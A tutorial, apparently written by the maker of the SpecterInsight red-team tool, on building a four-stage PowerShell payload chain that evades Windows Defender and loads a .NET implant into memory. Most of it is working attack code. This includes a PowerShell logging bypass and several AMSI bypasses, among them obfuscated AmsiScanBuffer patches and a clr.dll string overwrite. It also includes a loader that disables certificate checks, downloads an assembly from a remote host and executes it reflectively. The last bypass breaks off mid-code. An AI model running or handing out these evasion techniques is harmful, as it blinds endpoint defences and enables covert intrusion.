Bypassing AMSI and Evading AV Detection with SpecterInsight

Introduction

A few weeks ago, there was a post on reddit asking for advice on how to get their AMSI bypass through Windows Defender without being detected. Recently, it has become much more difficult to build payloads that can evade detection. Microsoft has out a ton of effort into deploying good heuristic signatures to block known AMSI bypass techniques and common ways they are obfuscated. Additionally, Windows Defender now detects manipulation of code within AMSI.dll which effectively eliminates an entire category of AMSI bypass techniques.

Fortunately, all hope is not lost for the red team operators and pen testers out there. It is still possible to craft a payload, with the proper obfuscation and bypass techniques, to evade Endpoint detection.

In this post, I am going to walk through how to build a payload pipeline to generate undetected PowerShell cradles using SpecterInsight.

Tools Used

The tools utilized in this post are:

.NET Payload Attack Chain

For this pipeline, our ultimate goal is to sling a .NET payload into memory from a PowerShell command. In this case, we’ll be slinging a SpecterInsight implant, but it could be any .NET payload, injector, shellcode, or whatever. To accomplish this, I’m going to construct a payload with four stages:

  • Stage 1: PowerShell Command
  • Stage 2: PowerShell Cradle
    • Logging Bypass
    • InitFailed AMSI Bypass
    • Disable Certificate Validation
    • PowerShell Download and Execute
    • Obfuscation
  • Stage 3: .NET Module Loader Script
    • AmsiScanBuffer String Replace
    • .NET Module Download and Execute
  • Stage 4: .NET Payload
    • SpecterInsight Implant

Let’s take a look at each of those stages in detail working payload backwards.

Stage 4: .NET Payload

Our ultimate goal is to load this .NET module that is the implant that we’re gonna use for interactive operations and command and control of the target environment.

Specifically, to SpecterInsight, there is already a payload pipeline that returns a .NET module that we can load and execute called win_any. Activating that pipeline returns a .NET 2.0 compatible executable that can be reflectively loaded into any power shell session. The screenshot below shows the output if the Get-Payload command. In the Text Output pane, you can see the MZ header of the .NET executable returned by the ‘win_any’ pipeline.

Stage 3: .NET Module Loader Script

The goal of this particular stage is to return a PowerShell script that will disable logging, disable AMSI scanning of .NET modules, and finally download and run our Stage 4 payload.

This is going to be a larger power shell script than the cradle because it’s doing a lot more, and the bypass technique that we’re utilizing is more complex and therefore requires more lines of code to be able to execute it. Once that’s layered with off station, sometimes this payload becomes too large to execute as a single PowerShell command due to the 32KB command line length limitation, which is one of the primary reasons I separated it out into a separate stage. Additionally, obfuscation on a larger payload can cause performance issues that may slow down the execution of the payload and can cause excessive CPU utilization on the target.

One of the assumptions that I’m making with this particular stage is that an AMSI bypass has already been run prior to executing this stage to prevent PowerShell commands from being sent to the installed AV. The AMSI bypass techniques that we will use in Stage 2 are limited to just PowerShell commands, meaning that we’re safe to run unobfuscated commands, but any modules loaded will still get scanned.

Before we can execute our module loader, we first have to apply an AMSI bypass that can prevent .NET modules from being scanned by the installed AV. There are currently two techniques in SpecterInsight meet that requirement: (1) AmsiScanBuffer API call hooking and (2) AmsiScanBufferStringReplace. Unfortunately, we cannot use the first technique because Windows defender now has behavorial signatures that detect manipulation and patching of the AmsiScanBuffer function.

That leaves us with the AmsiScanBufferStringReplace technique. This technique literally searches CLR.DLL in memory for the string “AmsiScanBuffer” and overwrites that data. Doing that prevents CLR.DLL from being able to call that function when we go to load our payload, thus effectively disabling AMSI scanning of reflectively loaded .NET modules. So far, this technique is not detected by Windows Defender.

$bypass = Get-PwshAmsiBypass -Technique AmsiScanBufferStringReplace;
$loader = Get-PwshLoadModuleFromURL -Pipeline 'win_any';
$script = Obfuscate-PwshCombine $bypass, $loader;

$script

This pipeline above will generate the output shown below:

# Define constants
$PAGE_READONLY = 0x02
$PAGE_READWRITE = 0x04
$PAGE_EXECUTE_READWRITE = 0x40
$PAGE_EXECUTE_READ = 0x20
$PAGE_GUARD = 0x100
$MEM_COMMIT = 0x1000
$MAX_PATH = 260

#Helper functions
function IsReadable {
    param ($protect, $state)

    return (
        (($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or
         ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or
         ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or
         ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and
        ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and
        ($state -band $MEM_COMMIT) -eq $MEM_COMMIT
    )
}

function PatternMatch {
    param ($buffer, $pattern, $index)

    for ($i = 0; $i -lt $pattern.Length; $i++) {
        if ($buffer[$index + $i] -ne $pattern[$i]) {
            return $false
        }
    }
    return $true
}

if($PSVersionTable.PSVersion.Major -gt 2) {
    #Create module builder
    $DynAssembly = New-Object System.Reflection.AssemblyName("Win32");
    $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run);
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False);

    #Define structs
    $TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType]);
    [void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public);
    [void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public);
    [void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public);
    [void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public);
    [void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public);
    [void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public);
    [void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public);
    $MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType();

    #Define structs
    $TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType]);
    [void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public);
    [void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public);
    [void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public);
    [void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public);
    [void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public);
    [void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public);
    [void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public);
    [void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public);
    [void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public);
    [void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public);
    [void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public);
    $SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType();
    
    #P/Invoke Methods
    $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class");
    $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]));
    $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError");
    $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
        "kernel32.dll",
        [Reflection.FieldInfo[]]@($SetLastError),
        @($True));

    #Define [Win32.Kernel32]::VirtualProtect
    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect",
        "kernel32.dll",
        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
        [Reflection.CallingConventions]::Standard,
        [bool],
        [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()),
        [Runtime.InteropServices.CallingConvention]::Winapi,
        [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);

    #Define [Win32.Kernel32]::GetCurrentProcess
    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess",
        "kernel32.dll",
        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
        [Reflection.CallingConventions]::Standard,
        [IntPtr],
        [Type[]]@(),
        [Runtime.InteropServices.CallingConvention]::Winapi,
        [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);

    #Define [Win32.Kernel32]::VirtualQuery
    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery",
        "kernel32.dll",
        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
        [Reflection.CallingConventions]::Standard,
        [IntPtr],
        [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]),
        [Runtime.InteropServices.CallingConvention]::Winapi,
        [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);

    #Define [Win32.Kernel32]::GetSystemInfo
    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo",
        "kernel32.dll",
        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
        [Reflection.CallingConventions]::Standard,
        [Int32],
        [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()),
        [Runtime.InteropServices.CallingConvention]::Winapi,
        [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);

    #Define [Win32.Kernel32]::GetMappedFileName
    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName",
        "psapi.dll",
        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
        [Reflection.CallingConventions]::Standard,
        [Int32],
        [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]),
        [Runtime.InteropServices.CallingConvention]::Winapi,
        [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);

    #Define [Win32.Kernel32]::ReadProcessMemory
    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory",
        "kernel32.dll",
        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
        [Reflection.CallingConventions]::Standard,
        [Int32],
        [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()),
        [Runtime.InteropServices.CallingConvention]::Winapi,
        [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);

    #Define [Win32.Kernel32]::WriteProcessMemory
    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory",
        "kernel32.dll",
        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
        [Reflection.CallingConventions]::Standard,
        [Int32],
        [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()),
        [Runtime.InteropServices.CallingConvention]::Winapi,
        [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);

    $Kernel32 = $TypeBuilder.CreateType();

    $signature = [System.Text.Encoding]::UTF8.GetBytes("AmsiScanBuffer");

    $hProcess = [Win32.Kernel32]::GetCurrentProcess();

    #Get system information
    $sysInfo = New-Object Win32.SYSTEM_INFO;
    [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo);

    #List of memory regions to scan
    $memoryRegions = @();
    $address = [IntPtr]::Zero;

    #Scan through memory regions
    while ($address.ToInt64() -lt $sysInfo.lpMaximumApplicationAddress.ToInt64()) {
        $memInfo = New-Object Win32.MEMORY_INFO_BASIC;
        if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) {
            $memoryRegions += $memInfo;
        }
        #Move to the next memory region
        $address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64());
    }

    $count = 0;

    #Loop through memory regions
    foreach ($region in $memoryRegions) {
        #Check if the region is readable and writable
        if (-not (IsReadable $region.Protect $region.State)) {
            continue;
        }

        #Check if the region contains a mapped file
        $pathBuilder = New-Object System.Text.StringBuilder $MAX_PATH
        if ([Win32.Kernel32]::GetMappedFileName($hProcess, $region.BaseAddress, $pathBuilder, $MAX_PATH) -gt 0) {
            $path = $pathBuilder.ToString();
            if ($path.EndsWith("clr.dll", [StringComparison]::InvariantCultureIgnoreCase)) {
                 #Scan the region for the pattern
                $buffer = New-Object byte[] $region.RegionSize.ToInt64();
                $bytesRead = 0;
                [void][Win32.Kernel32]::ReadProcessMemory($hProcess, $region.BaseAddress, $buffer, $buffer.Length, [ref]$bytesRead);

                for ($k = 0; $k -lt ($bytesRead - $signature.Length); $k++) {
                    $found = $True;
                    for($m = 0; $m -lt $signature.Length; $m++) {
                        if($buffer[$k + $m] -ne $signature[$m]) {
                            $found = $False;
                            break;
                        }
                    }

                    if ($found) {
                        $oldProtect = 0;
                        if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) {
                            [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $PAGE_EXECUTE_READWRITE, [ref]$oldProtect);
                        }


                        $replacement = New-Object byte[] $signature.Length;
                        $bytesWritten = 0;
                        [void][Win32.Kernel32]::WriteProcessMemory($hProcess, [IntPtr]::Add($region.BaseAddress, $k), $replacement, $replacement.Length, [ref]$bytesWritten);

                        $count++;

                        if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) {
                            [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $region.Protect, [ref]$oldProtect);
                        }
                    }
                }
            }
        }
    }
}
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
$client = New-Object System.Net.WebClient;
$contents = $client.DownloadData('https://192.168.1.101/static/resources/?build=1f5a69d0e70843f0af080f3cf87a69d7&kind=win_any');
if($contents -eq $null) {
    exit;
}

$module = [System.Reflection.Assembly]::Load($contents);
$parameters = [string[]]@();
$module.EntryPoint.Invoke($null, $parameters);

State 2: PowerShell Cradle

This stage is the PowerShell cradle. It is the component that lays the groundwork for the following stages. It is also the first and only script that is going to be scanned by the antivirus engine. As such, we’re gonna spend a lot of time and effort, making sure that this stage will not be detected.

The responsibilities of this stage are to:

  • Disable PowerShell Logging.
  • Bypass AMSI for PowerShell scripts only.
  • Download and run the Stage 3 PowerShell script.
  • Disable SSL/TLS certificate validation (Technically this step is not required if you utilize legitimate SSL/TLS certificates).
  • Don’t get detected.

The diagram below depicts this pipeline as a graph of transforms with source transforms (transforms that require not input) are blue and all other transforms are orange and operate off of some pipelined input.
The output of this transformation graph is a PowerShell script stored as a string.

Let’s go over how each of those steps are implemented in a SpecterInsight Payload Pipeline.

Logging Bypass

The first source transform is the logging bypass. Effectively, we want to generate a logging bypass that we will apply obfuscation transforms to later on. For now, we just want the original unobfuscated source code. The Get-PwshLoggingBypass method will handle that for us.

Pipeline Script
Get-PwshLoggingBypass

The Get-PwshLoggingBypass cmdlet is built-in to the SpecterInsight Payload Pipeline environment and will generate a PowerShell script to disable three types of logging: (1) Module Logging, (2) ScriptBlock Logging, and (3) Transcription. See an example of the output in the next tab.

Example Output
try {
    $key1 = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
    $key2 = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging"
    $key3 = "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription"
    $settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
    $settings[$key1] = @{}
    $settings[$key1].Add("EnableScriptBlockLogging", '0')
    $settings[$key2] = @{}
    $settings[$key2].Add("EnableModuleLogging", '0')
    $settings[$key3] = @{}
    $settings[$key3].Add("EnableTranscripting", '0')
} catch { }

Within earlier versions of PowerShell before version 6, logging settings were pulled from the registry and cached in-memory inside of a Dictionary data structure. These settings are retireved once at application startup. Once loaded into memory, various code segments within PowerShell reference these cached settings in order to implement the policies defined by those settings.

We can manipulate those cached setting through reflection using the code shown above. The key is the path to the registry entry while values are stored in a hashtable. We can clear these settings by setting the value to a new Hashtable and adding values to that table. For each setting, we simply add the value 0 to disable that type of logging. Once implemented, PowerShell will begin using the new settings going forward.

Anti-Malware Scan Interface (AMSI) Bypass

This transform generates one of several possible AMSI bypass techniques, depending upon what the operator specifies. For this attack chain, we need an AMSI bypass technique where (1) the behavior is not detected (2) one that is relatively small and compact because the cradle itself needs to fit on a length limited commandline at some point, and (3) it cannot use dynamically load a .NET module to implement the bypass as that will defeat the Stage 3 AMSI bypass. Here is a summary of the options available for bypassing AMSI:

TechniqueEmployment Considerations
ContextErrorPowerShell commands only.
InitFailedPowerShell commands only.
PatchAddTypeFully mitigates AMSI (Behavior detected by Windows Defender).
PatchInMemoryFully mitigates AMSI (Behavior detected by Windows Defender).
PatchScanContentPowerShell commands only (fairly large payload).
AmsiScanBufferStringReplace.NET module loading only (fairky large payload).

Technically the first five techniques will accomplish our goal for this particular stage; however, Windows Defender has behavioral signatures for the techniques that rely on patching the AmsiScanBuffer function that will stop our killchain regardless of how much obfuscation we apply. We also can’t use the last technique because it only works for .NET module loading and does not bypass AMSI for PowerShell scripts.

The PatchScanContent method works against all versions of PowerShell, but payload is fairly large, so I typically shy away from using it in a cradle where I need to keep the payload size small. Additionally, that techniqe currently uses reflective loading, which mentioned before, defeats the Stage 3 AMSI bypass technique. The InitFailed technique, on the other hand, is relatively small, so I will use that as the default and provide options for the operator to select other techniques.

Here are reference implementations of each technique in SpecterInsight:

ContextError

This bypass works by corrupting the AMSI context datastructure used to provide continuity between seperate calls to AmsiScanBuffer. If this structure is corrupted, then the call to AmsiScanBuffer will (usually) gracefully fail without passing data to the AV.

Get-PwshAmsiBypass -Technique ContextError
if($PSVersionTable.PSVersion.Major -gt 2) {
    [Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext",[Reflection.BindingFlags]"NonPublic,Static").GetValue($null),0x38801964);
}
InitFailed

This bypass works by setting a bool variable within the PowerShell runtime to true that is represents whether or not the call to AmsiInitialize failed. A value of true indicates failure. Internally, PowerShell will not submit data to the AV if it believes the initialization failed.

Get-PwshAmsiBypass -Technique InitFailed
function Set-Value {
    param(
        [Parameter(Mandatory = $true)]
        [Type]$Type,

        [Parameter(Mandatory = $true)]
        [string]$Name,

        [Parameter(Mandatory = $true)]
        [object]$Value
    )

    $method = "GetField";
    $setter = "SetValue";

    $field = $Type.$method($Name,"NonPublic,Static");
    $field.$setter($null,$Value);
}

if($PSVersionTable.PSVersion.Major -gt 2) {
    $Assembly = "Assembly";
    $method = "GetType";
    $type = [Ref].$Assembly.$method("System.Management.Automation.AmsiUtils");
    $name = "amsiInitFailed";
    Set-Value $type $name $true;
}
PatchAddType

This technique patches the AmsiScanBuffer method to always return AMSI_RESULT_NOT_DETECTED. It dynamically compiles C# code that actually does the work of patching AMSI. The example below differs from the reference implementation found online in that SpecterInsight applies C# obfuscation to the dynamically compiled code to ensure it evades detection. Everytime you run this pipeline, you will get a different C# payload.

Get-PwshAmsiBypass -Technique PatchAddType
if($PSVersionTable.PSVersion.Major -gt 2) {
    Add-Type @'
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
using System.IO;
using System.IO.Compression;

namespace DataPusher{
    public delegate IntPtr JSONConverterToXML(string tempKey);
    public delegate bool GameStarter(IntPtr lastName, UIntPtr configFile, uint width, out uint errorMessage);
    public class CodeCompiler    {
        [DllImport("kernel32")]
        private static extern IntPtr GetProcAddress(IntPtr port, string tempFlag);
        public static readonly JSONConverterToXML instance;
        private static readonly GameStarter createdDate;
        static CodeCompiler()
        {
            IntPtr tempDouble= CodeCompiler.UninstallPackage();
            IntPtr tempGuid= CodeCompiler.GetProcAddress(tempDouble, ScreenshotCapturer.EventHandler.Energy);
            CodeCompiler.instance = (JSONConverterToXML)Marshal.GetDelegateForFunctionPointer(tempGuid, typeof(JSONConverterToXML));
            CodeCompiler.createdDate = (GameStarter)Marshal.GetDelegateForFunctionPointer(CodeCompiler.GetProcAddress(tempDouble, ScreenshotCapturer.EventHandler.CompanyPhone), typeof(GameStarter));
        }

        private static IntPtr UninstallPackage()
        {
            Process debugValue= Process.GetCurrentProcess();
foreach (ProcessModule tempDouble in debugValue.Modules)
{
    if (tempDouble.ModuleName.IndexOf(ScreenshotCapturer.EventHandler.IsAsynchronous, StringComparison.InvariantCultureIgnoreCase) >= 0)
    {
        return tempDouble.BaseAddress;
    }
}
            return IntPtr.Zero;
        }

        public static bool UpdateEntity(IntPtr lastName, UIntPtr configFile, uint width, out uint errorMessage)
        {
            return CodeCompiler.createdDate(lastName, configFile, width, out errorMessage);
        }

        public static IntPtr CopyObject(string tempDouble, string tempInt)
        {
            IntPtr modifiedDate= CodeCompiler.instance(tempDouble);
            return CodeCompiler.GetProcAddress(modifiedDate, tempInt);
        }
    }
}

namespace ScreenshotCapturer{
    public static class EventHandler    {
        public static string Energy        {
            get
            {
                return EventHandler.createdBy[0];
            }
        }

        public static string CompanyPhone        {
            get
            {
                return EventHandler.createdBy[1];
            }
        }

        public static string IsAsynchronous        {
            get
            {
                return EventHandler.createdBy[2];
            }
        }

        static EventHandler()
        {
            EventHandler.UpdateDatabaseRecords(EventHandler.xmlData, 32);
            using (MemoryStream tempValue= new MemoryStream(EventHandler.xmlData))
            {
                using (GZipStream warningInfo= new GZipStream(tempValue, CompressionMode.Decompress))
                {
                    using (BinaryReader buffer= new BinaryReader(warningInfo))
                    {
                        int tempIndex= buffer.ReadInt32();
                        EventHandler.createdBy = new string[tempIndex];
                        for (int debugFlag= 0; debugFlag < tempIndex; debugFlag++)
                        {
                            EventHandler.createdBy[debugFlag] = buffer.ReadString();
                        }
                    }
                }
            }
        }

        private static void UpdateDatabaseRecords(byte[] firstName, int size)
        {
            for (int debugFlag= 0; debugFlag < firstName.Length; debugFlag++)
            {
                int deleteData= firstName[debugFlag] - size;
                if (deleteData < 0)
                {
                    deleteData += 256;
                }

                firstName[debugFlag] = (byte)deleteData;
            }
        }

        private static string[] createdBy;
        private static byte[] xmlData= new byte[]
        {
            63,
            171,
            40,
            32,
            32,
            32,
            32,
            32,
            32,
            42,
            131,
            134,
            128,
            128,
            0,
            17,
            233,
            111,
            108,
            17,
            233,
            108,
            74,
            106,
            76,
            202,
            148,
            4,
            43,
            235,
            76,
            74,
            73,
            109,
            236,
            41,
            72,
            234,
            79,
            105,
            109,
            78,
            1,
            232,
            110,
            77,
            234,
            107,
            237,
            81,
            86,
            34,
            32,
            227,
            39,
            124,
            76,
            73,
            32,
            32,
            32
        };
    }
}
'@;

    $address = [DataPusher.CodeCompiler]::CopyObject("amsi.dll", "AmsiScanBuffer");
    $p = 0;
    [void][DataPusher.CodeCompiler]::UpdateEntity($address, [uint32]5, 0x40, [ref]$p);
    $patch = [Byte[]] (0xB6, 0xC1, 0x42, 0x2B, 0xBD, 0x20);
    $offset = [Byte[]] (0x02, 0x96, 0xBE, 0xDC, 0xC3, 0xA3);
    for($i = 0; $i -lt $patch.Length; $i++) {
        $sum = $patch[$i] + $offset[$i];
        $patch[$i] = [byte]($sum % 256);
    }
    [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $address, 6);
}
PatchInMemory

This technique patches the AmsiScanBuffer method to always return AMSI_RESULT_NOT_DETECTED. Unlike PatchAddType, this code dynamically compiles CIL code using the emit API that does not trigger AMSI scan of the compiled code. The remaining PowerShell leverages the compiled code tor low level WINAPI access to patch the target function.

Get-PwshAmsiBypass -Technique PatchInMemory
if($PSVersionTable.PSVersion.Major -gt 2) {
    $DynAssembly = New-Object System.Reflection.AssemblyName("Win32");
    $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run);
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False);

    $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class");
    $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]));
    $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError");
    $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
        "kernel32.dll",
        [Reflection.FieldInfo[]]@($SetLastError),
        @($True));

    # Define [Win32.Kernel32]::VirtualProtect
    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect",
        "kernel32.dll",
        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
        [Reflection.CallingConventions]::Standard,
        [IntPtr],
        [Type[]]@([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()),
        [Runtime.InteropServices.CallingConvention]::Winapi,
        [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);

    $Kernel32 = $TypeBuilder.CreateType();

    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split("\\")[-1].Equals("System.dll") };
    $UnsafeNativeMethods = $SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods");
    $GetModuleHandle = $UnsafeNativeMethods.GetMethod("GetModuleHandle");
    $GetProcAddress = $UnsafeNativeMethods.GetMethod("GetProcAddress", [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
    $Kern32Handle = $GetModuleHandle.Invoke($null, "amsi.dll");
    $tmpPtr = New-Object IntPtr;
    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle);
    $left = "AmsiSc";
    $right = "anBuffer";
    $address = $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef,($left + $right)));


    $p = 0;
    [void]$Kernel32::VirtualProtect($address, [UInt32]5, 0x40, [ref]$p);
    $offset = [Byte[]](12, 22, 2, 17, 18, 11);
    $patch = [Byte[]](196, 109, 2, 24, 146, 206);
    for($i = 0; $i -lt $patch.Length; $i++) {
        $patch[$i] -= $offset[$i];
    }
    [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $address, 6);
}
Tab Header

This technique patches a method inside of System.Management.Automation.dll called ScanContent. This method is called whenever PowerShell needs to scan something with AMSI. This code overwrites the function to always return 1 which means NOT_DETECTED. Like the PatchAddType technique, this technique is implemented in obfuscated C# code. That code is dynamically compiled with Add-Type. The C# code is different everytime this pipeline runs.

Get-PwshAmsiBypass -Technique PatchScanContent
if($PSVersionTable.PSVersion.Major -gt 2) {
    Add-Type @'
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Management.Automation;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;

namespace ConfigurationImporter{
    public delegate bool ArrayMerger(IntPtr phoneNumber, IntPtr tempEnum, UIntPtr tempDateTime);
    public delegate bool SettingsInitializer(IntPtr jsonObject, UIntPtr tempDateTime, uint startDate, out uint debugFlag);
    public delegate bool PluginRegistrar(IntPtr phoneNumber, IntPtr tempEnum, byte[] endDate, uint tempChar, out IntPtr tempInt);
    public static class FileImporter    {
        [DllImport("kernel32")]
        private static extern IntPtr GetProcAddress(IntPtr requestUrl, string createdDate);
        private static ArrayMerger server;
        private static SettingsInitializer httpRequest;
        private static PluginRegistrar length;
        static FileImporter()
        {
            IntPtr debugValue= FileImporter.ImportDataFromExcel();
            FileImporter.server = (ArrayMerger)Marshal.GetDelegateForFunctionPointer(FileImporter.RegisterService(debugValue, TimerStarter.CodeUnitTester.FrameCount), typeof(ArrayMerger));
            FileImporter.httpRequest = (SettingsInitializer)Marshal.GetDelegateForFunctionPointer(FileImporter.RegisterService(debugValue, TimerStarter.CodeUnitTester.IsSibling), typeof(SettingsInitializer));
            FileImporter.length = (PluginRegistrar)Marshal.GetDelegateForFunctionPointer(FileImporter.RegisterService(debugValue, TimerStarter.CodeUnitTester.IsTransient), typeof(PluginRegistrar));
        }

        public static void AdjustBrightness()
        {
            MethodInfo webRequest= typeof(PSObject).Assembly.GetType(TimerStarter.CodeUnitTester.QueryString).GetMethod(TimerStarter.CodeUnitTester.PaymentPayPalID, BindingFlags.NonPublic | BindingFlags.Static);
            MethodInfo config= FileImporter.SegmentImage();
            FileImporter.ConnectToServer(webRequest, config);
        }

        private static MethodInfo SegmentImage()
        {
foreach (MethodInfo tempString in typeof(FileImporter).GetMethods(BindingFlags.NonPublic | BindingFlags.Static))
{
    if (tempString.MethodImplementationFlags.HasFlag(MethodImplAttributes.NoOptimization) && tempString.MethodImplementationFlags.HasFlag(MethodImplAttributes.NoInlining))
    {
        return tempString;
    }
}
            throw new ItemNotFoundException();
        }

        [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
        private static int CreateDirectory(string stream, string logLevel)
        {
            return 1;
        }

        public static void ConnectToServer(MethodInfo webRequest, MethodInfo isValid)
        {
            IntPtr buffer= Process.GetCurrentProcess().Handle;
